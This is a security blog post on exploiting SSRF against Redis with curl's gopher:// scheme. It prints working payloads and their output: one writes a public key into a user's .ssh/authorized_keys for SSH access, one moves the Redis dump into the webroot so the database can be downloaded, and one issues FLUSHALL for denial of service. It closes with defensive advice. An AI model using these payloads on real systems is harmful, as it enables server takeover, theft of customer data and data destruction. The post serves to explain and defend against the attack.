curl Based SSRF Exploits Against Redis
Published: August 14, 2017
SSRF (server side request forgery) is a type of vulnerability where an attacker is able trick a remote server into sending unauthorized requests. SSRF opens the door to many types of undesirable things such as information disclosure, DoS and RCE. In this post, we’ll take a look at the types of exploits that are achievable when we have access to curl Redis via SSRF.
Getting Redis To Execute Our Commands
As documented in a blog post titled “Trying to hack Redis via HTTP requests” by the French company, Agarri if simply we curl Redis, it will interpret each line in the HTTP request as a command….
$ curl -v 127.0.0.1:6379 --max-time 1
* Rebuilt URL to: 127.0.0.1:6379/
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:6379
> User-Agent: curl/7.52.1
> Accept: */*
>
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Accept:'
* Operation timed out after 1002 milliseconds with 148 bytes received
* Curl_http_done: called premature == 1
* stopped the pause stream!
* Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 148 bytes received
TIP: Note the usage of the max-time
flag here. It's important to understand that by default Redis won't close the connection and, without specifying a timeout, neither will curl.
Agarri’s post suggests that we can use HTTP request headers or the request POST body to send malicious payloads. While this sounds good in theory, I couldn’t get it to work (if you see something I’ve done wrong let me know!)…
$ curl --trace-ascii /dev/stdout -X POST -H "Content-Type: text/plain" --data "CONFIG SET maxmemory 5" http://127.0.0.1:6379/ --max-time 1
Note: Unnecessary use of -X or --request, POST is already inferred.
== Info: Trying 127.0.0.1...
== Info: TCP_NODELAY set
== Info: Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
=> Send header, 125 bytes (0x7d)
0000: POST / HTTP/1.1
0011: Host: 127.0.0.1:6379
0027: User-Agent: curl/7.52.1
0040: Accept: */*
004d: Content-Type: text/plain
0067: Content-Length: 22
007b:
=> Send data, 22 bytes (0x16)
0000: CONFIG SET maxmemory 5
== Info: upload completely sent off: 22 out of 22 bytes
<= Recv data, 29 bytes (0x1d)
0000: -ERR unknown command 'POST'
<= Recv data, 176 bytes (0xb0)
0000: -ERR unknown command 'Host:'
001e: -ERR unknown command 'User-Agent:'
0042: -ERR unknown command 'Accept:'
0062: -ERR unknown command 'Content-Type:'
0088: -ERR unknown command 'Content-Length:'
-ERR unknown command 'POST'
-ERR unknown command 'Host:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Content-Type:'
-ERR unknown command 'Content-Length:'
== Info: Operation timed out after 1002 milliseconds with 205 bytes received
== Info: Curl_http_done: called premature == 1
== Info: stopped the pause stream!
== Info: Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 205 bytes received
$ redis-cli
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "999999999999999"
127.0.0.1:6379>
Fortunately, there’s another option. Using a trick I learned about in an SSRF report to Imgur’s bug bounty on hackerone, we can send requests to Redis using the Gopher protocol.
This is approach is likely more versatile than using the POST body or HTTP request headers in an SSRF scenario as it’s more likely that we’ll have complete control over the endpoint (including request protocol) than it is that we’ll be able to force the HTTP request method, manipulate the post body, or manipulate request headers.
Here’s what it would look like to get Redis to divulge its maxmemory
configuration value.
$ curl gopher://127.0.0.1:6379/_CONFIG%20GET%20maxmemory --max-time 1
*2
$9
maxmemory
$15
999999999999999
curl: (28) Operation timed out after 1002 milliseconds with 41 bytes received
What Can We Do With It?
The ability to send commands to Redis opens the door to many nasty exploits. Here are a few…
Manipulation of the configuration values to upload a public key
This technique was outlined in a blog post titled “A few things about Redis security” by Redis’ creator Salvatore Sanfilippo (aka antirez). If we know the the name of a user on the server, we could set the Redis’ dir
to that user’s .ssh/
directory and set the dbfilename
to authorized_keys
. We can use %0D%0A
to issue multiple commands in a single request…
$ curl -v gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/home/mpchadwick/.ssh%0D%0ACONFIG%20SET%20dbfilename%20authorized_keys --max-time 1
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
+OK
+OK
* Operation timed out after 1002 milliseconds with 5 bytes received
* Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 5 bytes received
Next we would use the SET
command to get Redis to save our public key to its memory, and then finally issue a SAVE
command to write the public key to the authorized_keys
file.
This is pretty much game over as the attacker can now SSH directly to the server!
Manipulation of the dir
configuration value to steal the database
With the ability to manipulate the dir
value, another option would be to update the dir
to a publicly accessible location (the webroot). For example the attacker could try /var/www/html
, the default webroot for Apache on most servers.
$ curl gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html --max-time 1
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
+OK
* Operation timed out after 1002 milliseconds with 5 bytes received
* Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 5 bytes received
The attacker could then trigger another SAVE
to place dump.rdb
into the webroot and download the entire database.
It’s very likely that this will give them access to sensitive information such as customer PII (personally identifiable information), database connection credentials or credentials for external API services.
DoS
There are countless DoS opportunities with the ability to send arbitrary commands to the Redis instance. The first thing that springs to mind is the repeatedly send FLUSHALL
commands, preventing Redis from ever effectively storing anything.
$ curl -v gopher://127.0.0.1:6379/_FLUSHALL --max-time 1
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
+OK
* Operation timed out after 1002 milliseconds with 5 bytes received
* Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 5 bytes received
Takeaways
As we can see, SSRF can quickly become fatal if the attacker is able to send requests to the Redis instance. In addition to being mindful of potential SSRF exploits within the application codebase during the code review process, it is not advisable to solely rely on network layer security to protect your Redis instance. Redis’ built in AUTH feature allows you require a password to speak to Redis which adds an additional layer of protection against potential attackers.